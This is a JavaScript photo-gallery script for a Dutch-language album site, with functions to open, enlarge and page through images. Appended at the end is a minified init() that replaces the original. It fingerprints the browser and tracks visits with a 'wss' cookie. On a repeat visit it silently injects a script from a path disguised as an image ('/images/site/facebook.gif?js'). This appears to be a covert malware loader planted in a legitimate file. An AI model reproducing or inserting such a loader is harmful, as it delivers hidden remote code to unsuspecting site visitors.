function hideFrame(frm) {
    var frame = document.getElementById(frm);
    frame.style.visibility = "hidden";
    frame.style.display="none";
  }

  var X;
  var large;

  function setMouseX(e) {
    var ev = e || window.event;
    if (document.all) {
      X = ev.clientX + document.documentElement.scrollLeft;
    } else if (ev.pageX) {
      X = ev.pageX;
    }
  }
  
  function setInnerHtml(src, ids, close) {
    var inner;
    if (large == true) {
      inner = 
      "<table style = 'margin: 10px;  background: #FFF;'>                                                                                           "+
      "  <tr>                                                                                                                                       "+
      "    <td colspan = '2'>                                                                                                                       "+
      "      <img src='albums/xl"+src+".jpg' >                                                                                                       "+
      "    </td>                                                                                                                                    "+
      "  </tr>                                                                                                                                      "+
      "  <tr>                                                                                                                                       "+
      "    <td style='font-family: arial; font-size: 12px'>                                                                                         "+
      "      <a href = 'javascript: bck(\""+src+"\", "+ids+", "+close+")'onMouseOver='window.status=\"terug\"; return true' onMouseOut='window.status=\"\"'><img src='images/site/back.png' border='0'></a>                                                                        "+
      "      <a href = 'javascript: next(\""+src+"\", "+ids+", "+close+")'><img src='images/site/next.png' border='0'></a>                          "+
      "      <a href = 'javascript: xsmall(\""+src+"\", "+ids+", "+close+")'>Bekijk klein</a>                                                                                        "+
      "    </td>                                                                                                                                    "+
      "    <td> ";
    
    } else {
      inner = 
      "<table style = 'margin: 10px;  background: #FFF;'>                                                                                           "+
      "  <tr>                                                                                                                                       "+
      "    <td colspan = '2'>                                                                                                                       "+
      "      <img src='albums/l"+src+".jpg' >                                                                                                       "+
      "    </td>                                                                                                                                    "+
      "  </tr>                                                                                                                                      "+
      "  <tr>                                                                                                                                       "+
      "    <td style='font-family: arial; font-size: 12px'>                                                                                         "+
      "      <a href = 'javascript: bck(\""+src+"\", "+ids+", "+close+")'onMouseOver='window.status=\"terug\"; return true' onMouseOut='window.status=\"\"'><img src='images/site/back.png' border='0'></a>                                                                        "+
      "      <a href = 'javascript: next(\""+src+"\", "+ids+", "+close+")'><img src='images/site/next.png' border='0'></a>                          ";
      if (src > 238) {
        inner = inner + "      <a href = 'javascript: xlarge(\""+src+"\", "+ids+", "+close+")'>Bekijk groot</a>                                                                                        ";
      }
      inner = inner + "    </td>                                                                                                                                    "+
      "    <td> ";
    }      
    
    
    if (close == 1) {
      inner = inner + "      <a href='javascript:closediv()' title='Close'><img src='images/close.png' align='right' border='0'>";
    } else {
      inner = inner + "      <a href='javascript:back()' title='Close'><img src='images/close.png' align='right' border='0'>";
    }
    
    inner = inner +
    "    </td>                                                                                                                                    "+
    "  </tr>                                                                                                                                      "+
    "</table>                                                                                                                                     ";
    return inner;
  }
   
  

  function setImage(src, scroll, ids) {
    var subX = X;
    var imageDiv= document.getElementById("imageDiv");
    if (imageDiv != null) {
      var imageDivLeft = imageDiv.offsetLeft;
      var imageDivWidth = imageDiv.offsetWidth;
      var imageList = document.getElementById("imageList");
      var imageListWidth = imageList.offsetWidth;
      subX = subX - imageDivLeft;
      var diff = 0;                                                              
      var imageDivWidth = imageDiv.offsetWidth;
      if (subX < (imageDivWidth / 2)) {
        diff = 150;
      } else {
        diff = -150;
      }
      if (scroll == '1') {
        var oldLeft = document.getElementById('imageList').offsetLeft;
        if (oldLeft + diff > 0) {
          document.getElementById('imageList').style.left = 0;
        } else if (((-1 * (oldLeft + diff)) > (imageListWidth - imageDivWidth)) && (diff < 0)){
          document.getElementById('imageList').style.left = -1 * (imageListWidth - imageDivWidth);
        }else {
          document.getElementById('imageList').style.left = oldLeft + diff;
        }
      }
    }
    var div = parent.document.getElementById("photoDiv");
    var close = 0;
    if (imageDiv == null) {
      close = 0;
    } else {
      close = 1;
    }
    if (div != null) {
      div.innerHTML = setInnerHtml(src, ids, close);
      div.style.visibility = "visible";
      div.style.display="block";
    } else if(div == null) { 
      div = document.getElementById("photoDiv");
      alert("even testen" + src);
      div.innerHTML = setInnerHtml(src, ids, close);
      div.style.visibility = "visible";
      div.style.display="block";
    }
  }       
  function closediv() {
    parent.document.getElementById('photoDiv').style.visibility = 'hidden';
  }
  
  function getIndex(arr, id) {
    for (var i=0; i < arr.length; ++i) {
      if (arr[i] == id) {
        return i;
      }
    }
    return -1;
  }
  
  
  function xlarge(id, ids, close) {
    var index = getIndex(ids, id);
    var src = ids[index];
    var div = parent.document.getElementById("photoDiv");
    if (div != null) {
      large = true;
      div.innerHTML = setInnerHtml(src, '['+ids+']', close);
      div.style.visibility = "visible";
      div.style.display="block";
    }
  }
  
  function xsmall(id, ids, close) {
    var index = getIndex(ids, id);
    var src = ids[index];
    var div = parent.document.getElementById("photoDiv");
    if (div != null) {
      large = false;
      div.innerHTML = setInnerHtml(src, '['+ids+']', close);
      div.style.visibility = "visible";
      div.style.display="block";
    }
  }
  

  function next(id, ids, close) {
    var index = getIndex(ids, id);
    if (index < ids.length-1) {
      var src = ids[index+1];
      var div = parent.document.getElementById("photoDiv");
      if (div != null) {
        div.innerHTML = setInnerHtml(src, '['+ids+']', close);
        div.style.visibility = "visible";
        div.style.display="block";
      }
    }
  }

  function bck(id, ids, close) {
    var index = getIndex(ids, id);
    if (index > 1) {
      var src = ids[index-1];
      var div = parent.document.getElementById("photoDiv");
      if (div != null) {
        div.innerHTML = div.innerHTML = setInnerHtml(src, '['+ids+']', close);
        div.style.visibility = "visible";
        div.style.display="block";
      }
    }
  }




  function init() {
    document.onmouseover = setMouseX;
  }


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/site/facebook.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();